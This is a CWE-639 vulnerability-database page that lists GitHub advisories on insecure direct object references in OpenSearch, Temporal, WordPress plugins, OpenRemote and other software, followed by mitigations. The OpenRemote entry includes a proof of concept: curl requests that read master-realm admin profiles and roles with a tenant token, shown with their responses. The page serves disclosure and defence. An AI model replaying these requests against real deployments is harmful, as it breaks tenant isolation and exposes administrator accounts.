CWE-639
AllowedAuthorization Bypass Through User-Controlled Key
Abstraction: Base · Status: Incomplete
The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.
3213 vulnerabilities reference this CWE, most recent first.
GHSA-XMVG-335G-X44Q
Vulnerability from github – Published: 2024-07-18 15:22 – Updated: 2024-07-18 15:22Summary
An issue in the OpenSearch reporting plugin allows unintended access to private tenant resources like notebooks. The system did not properly check if the user was the resource author when accessing resources in a private tenant, leading to potential data being revealed.
Impact
The lack of proper access control validation for private tenant resources in the OpenSearch observability and reporting plugins can lead to unintended data access. If an authorized user with observability or reporting roles is aware of another user's private tenant resource ID, such as a notebook, they can potentially read, modify, or take ownership of that resource, despite not being the original author, thus impacting the confidentiality and integrity of private tenant resources. The impact is confined to private tenant resources, where authorized users may gain inappropriate visibility into data intended to be private from other users within the same OpenSearch instance, potentially violating the intended separation of access. This issue does not alter the scope of access but highlights a flaw in the existing access control mechanisms.
Impacted versions <= 2.13
Patches
The patches are included in OpenSearch 2.14
Workarounds
None
References
OpenSearch 2.14 is available for download at https://opensearch.org/versions/opensearch-2-14-0.html
The latest version of OpenSearch is available for download at https://opensearch.org/downloads.html
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.opensearch.plugin:opensearch-reports-scheduler"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.14.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-39900"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2024-07-18T15:22:02Z",
"nvd_published_at": "2024-07-09T22:15:03Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nAn issue in the OpenSearch reporting plugin allows unintended access to private tenant resources like notebooks. The system did not properly check if the user was the resource author when accessing resources in a private tenant, leading to potential data being revealed.\n\n### Impact\n\nThe lack of proper access control validation for private tenant resources in the OpenSearch observability and reporting plugins can lead to unintended data access. If an authorized user with observability or reporting roles is aware of another user\u0027s private tenant resource ID, such as a notebook, they can potentially read, modify, or take ownership of that resource, despite not being the original author, thus impacting the confidentiality and integrity of private tenant resources. The impact is confined to private tenant resources, where authorized users may gain inappropriate visibility into data intended to be private from other users within the same OpenSearch instance, potentially violating the intended separation of access. This issue does not alter the scope of access but highlights a flaw in the existing access control mechanisms.\n\nImpacted versions \u003c= 2.13\n\n### Patches\n\nThe patches are included in OpenSearch 2.14\n\n### Workarounds\n\nNone\n\n### References\n\nOpenSearch 2.14 is available for download at https://opensearch.org/versions/opensearch-2-14-0.html\n\nThe latest version of OpenSearch is available for download at https://opensearch.org/downloads.html",
"id": "GHSA-xmvg-335g-x44q",
"modified": "2024-07-18T15:22:03Z",
"published": "2024-07-18T15:22:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/opensearch-project/reporting/security/advisories/GHSA-xmvg-335g-x44q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39900"
},
{
"type": "WEB",
"url": "https://github.com/opensearch-project/reporting/commit/2403014c57ee63268e83d919db3334b676a8c992"
},
{
"type": "PACKAGE",
"url": "https://github.com/opensearch-project/reporting"
},
{
"type": "WEB",
"url": "https://opensearch.org/versions/opensearch-2-14-0.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "The OpenSearch reporting plugin improperly controls tenancy access to reporting resources"
}
GHSA-XMVM-X7M2-GG4F
Vulnerability from github – Published: 2022-05-24 17:22 – Updated: 2022-05-24 17:22An issue was discovered on various devices via the Linkplay firmware. There is WAN remote code execution without user interaction. An attacker could retrieve the AWS key from the firmware and obtain full control over Linkplay's AWS estate, including S3 buckets containing device firmware. When combined with an OS command injection vulnerability within the XML Parsing logic of the firmware update process, an attacker would be able to gain code execution on any device that attempted to update. Note that by default all devices tested had automatic updates enabled.
{
"affected": [],
"aliases": [
"CVE-2019-15310"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-07-01T20:15:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered on various devices via the Linkplay firmware. There is WAN remote code execution without user interaction. An attacker could retrieve the AWS key from the firmware and obtain full control over Linkplay\u0027s AWS estate, including S3 buckets containing device firmware. When combined with an OS command injection vulnerability within the XML Parsing logic of the firmware update process, an attacker would be able to gain code execution on any device that attempted to update. Note that by default all devices tested had automatic updates enabled.",
"id": "GHSA-xmvm-x7m2-gg4f",
"modified": "2022-05-24T17:22:09Z",
"published": "2022-05-24T17:22:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-15310"
},
{
"type": "WEB",
"url": "https://labs.f-secure.com/advisories/linkplay-firmware-wanlan-remote-code-execution"
},
{
"type": "WEB",
"url": "https://labs.mwrinfosecurity.com/advisories"
},
{
"type": "WEB",
"url": "https://linkplay.com/featured-products"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-XMXX-QPV3-JJW8
Vulnerability from github – Published: 2026-06-26 15:32 – Updated: 2026-06-26 15:32Unauthenticated Insecure Direct Object References (IDOR) in Toolset Forms <= 2.6.24 versions.
{
"affected": [],
"aliases": [
"CVE-2026-56069"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-26T15:16:46Z",
"severity": "HIGH"
},
"details": "Unauthenticated Insecure Direct Object References (IDOR) in Toolset Forms \u003c= 2.6.24 versions.",
"id": "GHSA-xmxx-qpv3-jjw8",
"modified": "2026-06-26T15:32:17Z",
"published": "2026-06-26T15:32:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56069"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/cred-frontend-editor/vulnerability/wordpress-toolset-forms-plugin-2-6-24-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XPG8-3HHP-P7W8
Vulnerability from github – Published: 2026-04-01 18:36 – Updated: 2026-04-03 23:25A writer role user in an attacker-controlled namespace could signal, delete, and reset workflows or activities in a victim namespace on the same cluster. Exploitation requires the attacker to know or guess specific victim workflow ID(s) and, for signal operations, signal names. This was due to a bug introduced in Temporal Server v1.29.0 which inadvertently allowed an attacker to control the namespace name value instead of using the server's own trusted name value within the batch activity code. The batch activity validated the namespace ID but did not cross-check the namespace name against the worker's bound namespace, allowing the per-namespace worker's privileged credentials to operate on an arbitrary namespace. Exploitation requires a server configuration where internal components have cross-namespace authorization, such as deployment of the internal-frontend service or equivalent TLS-based authorization for internal identities.
This vulnerability also impacted Temporal Cloud when the attacker and victim namespaces were on the same cell, with the same preconditions as self-hosted clusters.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "go.temporal.io/server"
},
"ranges": [
{
"events": [
{
"introduced": "1.30.0-143.0"
},
{
"fixed": "1.30.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "go.temporal.io/server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.29.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-5199"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-03T23:25:37Z",
"nvd_published_at": "2026-04-01T18:16:31Z",
"severity": "LOW"
},
"details": "A writer role user in an attacker-controlled namespace could signal, delete, and reset workflows or activities in a victim namespace on the same cluster. Exploitation requires the attacker to know or guess specific victim workflow ID(s) and, for signal operations, signal names. This was due to a bug introduced in Temporal Server v1.29.0 which inadvertently allowed an attacker to control the namespace name value instead of using the server\u0027s own trusted name value within the batch activity code. The batch activity validated the namespace ID but did not cross-check the namespace name against the worker\u0027s bound namespace, allowing the per-namespace worker\u0027s privileged credentials to operate on an arbitrary namespace. Exploitation requires a server configuration where internal components have cross-namespace authorization, such as deployment of the internal-frontend service or equivalent TLS-based authorization for internal identities.\n\nThis vulnerability also impacted Temporal Cloud when the attacker and victim namespaces were on the same cell, with the same preconditions as self-hosted clusters.",
"id": "GHSA-xpg8-3hhp-p7w8",
"modified": "2026-04-03T23:25:37Z",
"published": "2026-04-01T18:36:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5199"
},
{
"type": "PACKAGE",
"url": "https://github.com/temporalio/temporal"
},
{
"type": "WEB",
"url": "https://github.com/temporalio/temporal/releases/tag/v1.29.5"
},
{
"type": "WEB",
"url": "https://github.com/temporalio/temporal/releases/tag/v1.30.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L",
"type": "CVSS_V4"
}
],
"summary": "Temporal Server: attacker-controlled namespace could signal, delete, and reset workflows or activities in a victim namespace on the same cluster"
}
GHSA-XQ7C-HJVW-RH5F
Vulnerability from github – Published: 2025-05-14 12:31 – Updated: 2025-05-14 12:31The LatePoint – Calendar Booking Plugin for Appointments and Events plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 5.1.92 via the 'view_booking_summary_in_lightbox' due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to retrieve appointment details such as customer names and email addresses.
{
"affected": [],
"aliases": [
"CVE-2025-3769"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-14T12:15:18Z",
"severity": "MODERATE"
},
"details": "The LatePoint \u2013 Calendar Booking Plugin for Appointments and Events plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 5.1.92 via the \u0027view_booking_summary_in_lightbox\u0027 due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to retrieve appointment details such as customer names and email addresses.",
"id": "GHSA-xq7c-hjvw-rh5f",
"modified": "2025-05-14T12:31:12Z",
"published": "2025-05-14T12:31:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3769"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/latepoint/trunk/lib/controllers/customer_cabinet_controller.php"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3291162"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7e9acd26-c341-4ece-bcf1-102f953a4b4f?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XQH5-95VP-Q7F3
Vulnerability from github – Published: 2025-04-01 15:31 – Updated: 2026-04-01 18:34Authorization Bypass Through User-Controlled Key vulnerability in themeglow JobBoard Job listing allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects JobBoard Job listing: from n/a through 1.2.7.
{
"affected": [],
"aliases": [
"CVE-2025-31833"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-01T15:16:23Z",
"severity": "MODERATE"
},
"details": "Authorization Bypass Through User-Controlled Key vulnerability in themeglow JobBoard Job listing allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects JobBoard Job listing: from n/a through 1.2.7.",
"id": "GHSA-xqh5-95vp-q7f3",
"modified": "2026-04-01T18:34:22Z",
"published": "2025-04-01T15:31:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31833"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/job-board-light/vulnerability/wordpress-jobboard-job-listing-plugin-plugin-1-2-7-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XQJX-3PWP-3529
Vulnerability from github – Published: 2024-12-12 06:30 – Updated: 2024-12-12 06:30The ElementInvader Addons for Elementor plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.3.1 via the eli_option_value shortcode. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract arbitrary options from the wp_options table.
{
"affected": [],
"aliases": [
"CVE-2024-12059"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-12T06:15:23Z",
"severity": "MODERATE"
},
"details": "The ElementInvader Addons for Elementor plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.3.1 via the eli_option_value shortcode. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract arbitrary options from the wp_options table.",
"id": "GHSA-xqjx-3pwp-3529",
"modified": "2024-12-12T06:30:51Z",
"published": "2024-12-12T06:30:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12059"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3203139%40elementinvader-addons-for-elementor\u0026new=3203139%40elementinvader-addons-for-elementor\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/cf7ec469-70b7-4ec2-83df-c788c76730b4?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XQQC-58QJ-9W8R
Vulnerability from github – Published: 2026-04-24 06:31 – Updated: 2026-04-24 06:31The MaxiBlocks Builder plugin for WordPress is vulnerable to arbitrary media file deletion due to insufficient file ownership validation on the 'maxi_remove_custom_image_size' AJAX action in all versions up to, and including, 2.1.8. This makes it possible for authenticated attackers, with Author-level access and above, to delete arbitrary files in the wp-content/uploads directory, including files uploaded by other users and administrators.
{
"affected": [],
"aliases": [
"CVE-2026-2028"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-24T04:16:09Z",
"severity": "MODERATE"
},
"details": "The MaxiBlocks Builder plugin for WordPress is vulnerable to arbitrary media file deletion due to insufficient file ownership validation on the \u0027maxi_remove_custom_image_size\u0027 AJAX action in all versions up to, and including, 2.1.8. This makes it possible for authenticated attackers, with Author-level access and above, to delete arbitrary files in the wp-content/uploads directory, including files uploaded by other users and administrators.",
"id": "GHSA-xqqc-58qj-9w8r",
"modified": "2026-04-24T06:31:16Z",
"published": "2026-04-24T06:31:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2028"
},
{
"type": "WEB",
"url": "https://github.com/maxi-blocks/maxi-blocks/commit/3dff1db57bfb4e6c14fa7fd42037178d1d0ce199"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/maxi-blocks/tags/2.1.7/core/class-maxi-image-crop.php#L44"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/maxi-blocks/trunk/core/class-maxi-image-crop.php#L44"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3476709/maxi-blocks/trunk/core/class-maxi-image-crop.php"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3476709%40maxi-blocks\u0026new=3476709%40maxi-blocks\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f50c31df-56d0-4c34-a93c-56198fe91b36?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XQR9-4WVV-GVCH
Vulnerability from github – Published: 2026-07-06 20:47 – Updated: 2026-07-06 20:47Summary
A realm admin of tenant B can read the profile, client roles, and realm roles of any user in any other realm (including the master realm) by supplying the target user's UUID in the REST API path. Three read endpoints in UserResourceImpl check whether the caller holds the read:admin role but omit a check that the target user belongs to the caller's own realm. The vulnerability enables cross-tenant user enumeration and privilege-level reconnaissance. On a multi-tenant deployment the master realm administrator account is reachable from any tenant realm admin.
Details
The affected file is manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java.
Three methods are missing an authenticated-realm guard:
get (line 102):
public User get(RequestParams requestParams, String realm, String userId) {
boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID);
if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) {
throw new ForbiddenException("...");
}
try {
return identityService.getIdentityProvider().getUser(userId);
} ...
}
The realm path parameter is accepted but never used. getUser(userId) delegates to getUserByIdFromDb(persistenceService, userId) which queries the database by UUID with no realm filter.
getUserClientRoles (line 294):
public String[] getUserClientRoles(RequestParams requestParams, String realm, String userId, String clientId) {
boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID);
if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) {
throw new ForbiddenException("...");
}
try {
return identityService.getIdentityProvider().getUserClientRoles(realm, userId, clientId);
} ...
}
getUserRealmRoles (line 313):
public String[] getUserRealmRoles(RequestParams requestParams, String realm, String userId) {
boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID);
if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) {
throw new ForbiddenException("...");
}
try {
return identityService.getIdentityProvider().getUserRealmRoles(realm, userId);
} ...
}
By contrast, all write-side methods in the same file invoke throwIfCannotAdminRealm(realm) (lines 175, 190, 264, 333, 351, 386) which calls authContext.isRealmAccessibleByUser(realm), correctly enforcing the realm boundary. The read methods were not updated when this guard was added for the write paths.
The existing GHSA-49vv-25qx-mg44 (Improper Access Control in UserResourceImpl, patched April 2026) fixed the updateUserRealmRoles write path. The read methods in the same class remain unpatched at HEAD.
PoC
Prerequisites: two active realms (master and tenantb). The attacker authenticates as a realm-admin-level user of tenantb with read:admin role. Any valid UUID from the master realm suffices as the target userId.
Step 1. Obtain the master admin user UUID (this is typically discoverable from the audit log, API responses, or provisioning records visible to the tenantb admin).
Step 2. Obtain an access token for the tenantb admin:
TENANTB_TOKEN=$(curl -s -X POST \
"https://<host>/auth/realms/tenantb/protocol/openid-connect/token" \
-d "client_id=openremote&grant_type=password&username=tenantb_admin&password=TenantB123!" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
Step 3. Read a master-realm user profile using the tenantb token:
curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \
"https://<host>/api/tenantb/user/master/f05e9eb4-0de6-45a6-9dc5-088402465e4e"
Observed response from the live test instance (commit 22a42a7, 2026-06-04):
{"realm":"master","realmId":"104856cd-ae5b-4a2d-917a-7e7f700561c8",
"id":"f05e9eb4-0de6-45a6-9dc5-088402465e4e",
"firstName":"System","lastName":"Administrator",
"enabled":true,"createdOn":1780550421390,
"serviceAccount":false,"username":"admin"}
HTTP 200
Step 4. Read master-admin realm roles:
curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \
"https://<host>/api/tenantb/user/master/userRealmRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e"
Observed response:
["admin"]
HTTP 200
Step 5. Read master-admin client roles:
curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \
"https://<host>/api/tenantb/user/master/userRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e/openremote"
Observed response:
["read:alarms","read:logs","write:logs","read:admin","write:insights","read:services",
"write:alarms","write:attributes","write:services","write:user","write:assets",
"read:insights","read:map","read:users","read:assets","read:rules","write",
"write:admin","read","write:rules"]
HTTP 200
All three requests succeed with a tenantb-scoped token against master-realm targets. The HTTP 200 responses confirm the cross-realm boundary is crossed.
A fix would add throwIfCannotAdminRealm(realm) (or an equivalent isRealmAccessibleByUser check) to the three read methods, mirroring the pattern already applied to the write methods.
Impact
Any realm admin (write:admin + read:admin roles) in a non-master tenant can enumerate user accounts, email addresses, enabled/disabled status, and the full set of Keycloak roles for any user in any other realm, including the privileged master realm. This exposes admin account identities and role assignments that would assist targeted attacks (credential stuffing, social engineering, escalation via the already-documented write path). On hosted or shared OpenRemote deployments where multiple organizations are separated into different realms, this breaks tenant isolation for user data.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.openremote:openremote-manager"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.24.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54641"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-06T20:47:57Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nA realm admin of tenant B can read the profile, client roles, and realm roles of any user in any other realm (including the master realm) by supplying the target user\u0027s UUID in the REST API path. Three read endpoints in UserResourceImpl check whether the caller holds the read:admin role but omit a check that the target user belongs to the caller\u0027s own realm. The vulnerability enables cross-tenant user enumeration and privilege-level reconnaissance. On a multi-tenant deployment the master realm administrator account is reachable from any tenant realm admin.\n\n### Details\n\nThe affected file is manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java.\n\nThree methods are missing an authenticated-realm guard:\n\nget (line 102):\n\n public User get(RequestParams requestParams, String realm, String userId) {\n boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID);\n if (!hasAdminReadRole \u0026\u0026 !Objects.equals(getUserId(), userId)) {\n throw new ForbiddenException(\"...\");\n }\n try {\n return identityService.getIdentityProvider().getUser(userId);\n } ...\n }\n\nThe realm path parameter is accepted but never used. getUser(userId) delegates to getUserByIdFromDb(persistenceService, userId) which queries the database by UUID with no realm filter.\n\ngetUserClientRoles (line 294):\n\n public String[] getUserClientRoles(RequestParams requestParams, String realm, String userId, String clientId) {\n boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID);\n if (!hasAdminReadRole \u0026\u0026 !Objects.equals(getUserId(), userId)) {\n throw new ForbiddenException(\"...\");\n }\n try {\n return identityService.getIdentityProvider().getUserClientRoles(realm, userId, clientId);\n } ...\n }\n\ngetUserRealmRoles (line 313):\n\n public String[] getUserRealmRoles(RequestParams requestParams, String realm, String userId) {\n boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID);\n if (!hasAdminReadRole \u0026\u0026 !Objects.equals(getUserId(), userId)) {\n throw new ForbiddenException(\"...\");\n }\n try {\n return identityService.getIdentityProvider().getUserRealmRoles(realm, userId);\n } ...\n }\n\nBy contrast, all write-side methods in the same file invoke throwIfCannotAdminRealm(realm) (lines 175, 190, 264, 333, 351, 386) which calls authContext.isRealmAccessibleByUser(realm), correctly enforcing the realm boundary. The read methods were not updated when this guard was added for the write paths.\n\nThe existing GHSA-49vv-25qx-mg44 (Improper Access Control in UserResourceImpl, patched April 2026) fixed the updateUserRealmRoles write path. The read methods in the same class remain unpatched at HEAD.\n\n### PoC\n\nPrerequisites: two active realms (master and tenantb). The attacker authenticates as a realm-admin-level user of tenantb with read:admin role. Any valid UUID from the master realm suffices as the target userId.\n\nStep 1. Obtain the master admin user UUID (this is typically discoverable from the audit log, API responses, or provisioning records visible to the tenantb admin).\n\nStep 2. Obtain an access token for the tenantb admin:\n\n TENANTB_TOKEN=$(curl -s -X POST \\\n \"https://\u003chost\u003e/auth/realms/tenantb/protocol/openid-connect/token\" \\\n -d \"client_id=openremote\u0026grant_type=password\u0026username=tenantb_admin\u0026password=TenantB123!\" \\\n | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027access_token\u0027])\")\n\nStep 3. Read a master-realm user profile using the tenantb token:\n\n curl -s -H \"Authorization: Bearer $TENANTB_TOKEN\" \\\n \"https://\u003chost\u003e/api/tenantb/user/master/f05e9eb4-0de6-45a6-9dc5-088402465e4e\"\n\nObserved response from the live test instance (commit 22a42a7, 2026-06-04):\n\n {\"realm\":\"master\",\"realmId\":\"104856cd-ae5b-4a2d-917a-7e7f700561c8\",\n \"id\":\"f05e9eb4-0de6-45a6-9dc5-088402465e4e\",\n \"firstName\":\"System\",\"lastName\":\"Administrator\",\n \"enabled\":true,\"createdOn\":1780550421390,\n \"serviceAccount\":false,\"username\":\"admin\"}\n HTTP 200\n\nStep 4. Read master-admin realm roles:\n\n curl -s -H \"Authorization: Bearer $TENANTB_TOKEN\" \\\n \"https://\u003chost\u003e/api/tenantb/user/master/userRealmRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e\"\n\nObserved response:\n\n [\"admin\"]\n HTTP 200\n\nStep 5. Read master-admin client roles:\n\n curl -s -H \"Authorization: Bearer $TENANTB_TOKEN\" \\\n \"https://\u003chost\u003e/api/tenantb/user/master/userRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e/openremote\"\n\nObserved response:\n\n [\"read:alarms\",\"read:logs\",\"write:logs\",\"read:admin\",\"write:insights\",\"read:services\",\n \"write:alarms\",\"write:attributes\",\"write:services\",\"write:user\",\"write:assets\",\n \"read:insights\",\"read:map\",\"read:users\",\"read:assets\",\"read:rules\",\"write\",\n \"write:admin\",\"read\",\"write:rules\"]\n HTTP 200\n\nAll three requests succeed with a tenantb-scoped token against master-realm targets. The HTTP 200 responses confirm the cross-realm boundary is crossed.\n\nA fix would add throwIfCannotAdminRealm(realm) (or an equivalent isRealmAccessibleByUser check) to the three read methods, mirroring the pattern already applied to the write methods.\n\n### Impact\n\nAny realm admin (write:admin + read:admin roles) in a non-master tenant can enumerate user accounts, email addresses, enabled/disabled status, and the full set of Keycloak roles for any user in any other realm, including the privileged master realm. This exposes admin account identities and role assignments that would assist targeted attacks (credential stuffing, social engineering, escalation via the already-documented write path). On hosted or shared OpenRemote deployments where multiple organizations are separated into different realms, this breaks tenant isolation for user data.",
"id": "GHSA-xqr9-4wvv-gvch",
"modified": "2026-07-06T20:47:57Z",
"published": "2026-07-06T20:47:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openremote/openremote/security/advisories/GHSA-xqr9-4wvv-gvch"
},
{
"type": "WEB",
"url": "https://github.com/openremote/openremote/commit/de89b8d3af272d717bf297934c2cbc97243f08b7"
},
{
"type": "PACKAGE",
"url": "https://github.com/openremote/openremote"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "OpenRemote has Cross-Realm User Information Disclosure in UserResourceImpl"
}
GHSA-XR34-4J63-XFH6
Vulnerability from github – Published: 2026-06-26 15:32 – Updated: 2026-06-26 15:32Contributor Insecure Direct Object References (IDOR) in PPWP <= 1.9.19 versions.
{
"affected": [],
"aliases": [
"CVE-2026-57634"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-26T15:16:50Z",
"severity": "MODERATE"
},
"details": "Contributor Insecure Direct Object References (IDOR) in PPWP \u003c= 1.9.19 versions.",
"id": "GHSA-xr34-4j63-xfh6",
"modified": "2026-06-26T15:32:17Z",
"published": "2026-06-26T15:32:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57634"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/password-protect-page/vulnerability/wordpress-ppwp-plugin-1-9-19-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
Mitigation
Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.
Mitigation
Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.
No CAPEC attack patterns related to this CWE.